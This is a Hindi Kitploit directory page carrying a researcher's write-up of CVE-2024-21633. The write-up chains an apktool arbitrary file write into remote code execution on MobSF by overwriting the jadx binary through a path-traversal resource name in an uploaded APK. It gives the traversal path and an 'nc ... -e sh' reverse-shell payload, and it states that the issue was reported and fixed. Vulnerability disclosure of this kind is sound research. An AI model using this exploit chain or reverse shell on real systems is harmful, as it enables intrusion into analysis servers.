Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-21633 — MobSF दूरस्थ कोड निष्पादन (CVE-2024-21633 के माध्यम से) | Kitploit
उपकरण/GitHubGitHub/0x33c0unt/cve-2024-21633
एंड्रॉइड सुरक्षाभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगवेब एप्लिकेशन शोषणमोबाइल सुरक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHub0x33c0unt/cve-2024-21633

CVE-2024-21633

MobSF दूरस्थ कोड निष्पादन (CVE-2024-21633 के माध्यम से)

रिपॉजिटरी देखें
7952 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

MobSF रिमोट कोड निष्पादन (CVE-2024-21633 के माध्यम से)

मैंने apktool में एक मनमाना फ़ाइल लिखने की कमज़ोरी पाई और गिटहब सुरक्षा सलाहकार के माध्यम से रिपोर्ट की। मुझे पता था कि कई प्रोजेक्ट apktool पर निर्भर थे या उस पर आधारित थे, लेकिन सलाहकार के प्रकाशन और फिक्स के बाद भी बहुत से लोगों ने इस पर ध्यान नहीं दिया या इसकी परवाह नहीं की। मैंने कुछ बड़े निर्भरताओं में इसके प्रभाव और शोषण क्षमता की जाँच करने का फैसला किया, और फिर MobSF से शुरुआत की।

यह कमज़ोरी हमें "${decode target path}/res/" के सापेक्ष पथ पर कुछ भी लिखने की अनुमति देती है, सबसे बड़ा प्रभाव RCE प्राप्त करना होगा। लेकिन एक पकड़ है, लिखी गई फ़ाइल निष्पादन योग्य नहीं है।

गोता लगाने से पहले मेरे दिमाग में ये 2 विचार थे:

  • हम शेल इनिट फ़ाइलों को ओवरराइट करने का लक्ष्य रख सकते हैं जैसे .bashrc/.zshrc आदि, लेकिन इसके लिए या तो "decode target path" को उपयोगकर्ता फ़ोल्डर के अंतर्गत होना चाहिए ताकि हम इसे "../../.bashrc" जैसे लक्षित कर सकें, या हमें उपयोगकर्ता नाम जानने (या ब्रूटफ़ोर्स करने) की आवश्यकता होगी ताकि हम "../../../../username/.bashrc" जैसे लक्ष्य बना सकें। यहाँ एक अच्छी बात यह है कि एक एप्लिकेशन में 0xFFFF (65536) अलग-अलग रॉ संसाधन नाम हो सकते हैं क्योंकि संसाधन आईडी 0x7F0B1234 (1 बाइट पैकेज आइडेंटिफ़ायर आमतौर पर 0x7F, 1 बाइट प्रकार आइडेंटिफ़ायर (जैसे raw, drawable), 2 बाइट संसाधन पहचानकर्ता) जैसी दिखती हैं। हमारे मामले में यदि हम मान लें कि MobSF डॉकर में चलता है तो हम पहले से ही उपयोगकर्ता नाम, MobSF, जानते हैं। हालांकि, फ़ाइल को ओवरराइट करने के बाद, हमें एक शेल स्पॉन होने की प्रतीक्षा करनी होगी, जो गारंटी नहीं है।
  • एक दुर्भावनापूर्ण स्क्रिप्ट चलाने के लिए क्रॉनजॉब बनाना, इसके लिए एप्लिकेशन के पास रूट विशेषाधिकार होने चाहिए।

लेकिन क्या होगा अगर हम इतने भाग्यशाली हों कि हमें कोई ऐसा ऐप मिले जो किसी फ़ाइल की अनुमतियों को निष्पादन योग्य में बदल दे? और उससे भी अधिक भाग्यशाली हों कि वह उसे बाद में चलाए? और यह सब apktool के निष्पादन के बाद होना चाहिए। यही MobSF के साथ सटीक स्थिति है। MobSF अपने स्थैतिक विश्लेषण के भाग के रूप में jadx का उपयोग करता है, यह jadx को subprocess के माध्यम से कॉल करता है, लेकिन उससे ठीक पहले यह jadx की अनुमति को निष्पादन योग्य में बदल देता है।

लॉग अंश जहाँ apktool, chmod और jadx क्रमशः कॉल किए जाते हैं:

root@kitploit:~
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx 
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk

हम jadx को लक्ष्य के रूप में उपयोग करेंगे, लेकिन हमें jadx के सापेक्ष पथ की आवश्यकता है res फ़ोल्डर से। हम इसे पायथन फ़ंक्शन में os.path.relpath() का उपयोग करके प्राप्त कर सकते हैं।

हमारा संसाधन आधार फ़ोल्डर है "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"

हम jadx बाइनरी को पथ पर ओवरराइट करना चाहते हैं: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

root@kitploit:~
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'

हमारा पेलोड res/raw/jadx में होगा

root@kitploit:~
#!/bin/bash
nc host.docker.internal 9001 -e sh

संसाधन नाम होगा "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" resources APK अपलोड करें और jadx के निष्पादित होने की प्रतीक्षा करें, हमें अपने nc लिसनर पर एक शेल मिलेगा। upload बिंगो! reverse-shell

फिर मैंने इसे ईमेल के माध्यम से MobSF टीम को रिपोर्ट किया, तुरंत उत्तर मिला और उन्होंने नए apktool संस्करण में अपडेट करके इसे ठीक किया, लेकिन jadx को निष्पादन योग्य बनाने और उसे बाद में चलाने का व्यवहार अभी भी मौजूद है। मैं पहले से ही अनुमति स्थिर रखने और निर्देशिका को गैर-लेखनीय रखने का पक्ष लूंगा।

और अधिक के लिए फॉलो करें! @0x33c0unt

टूल डाउनलोड करें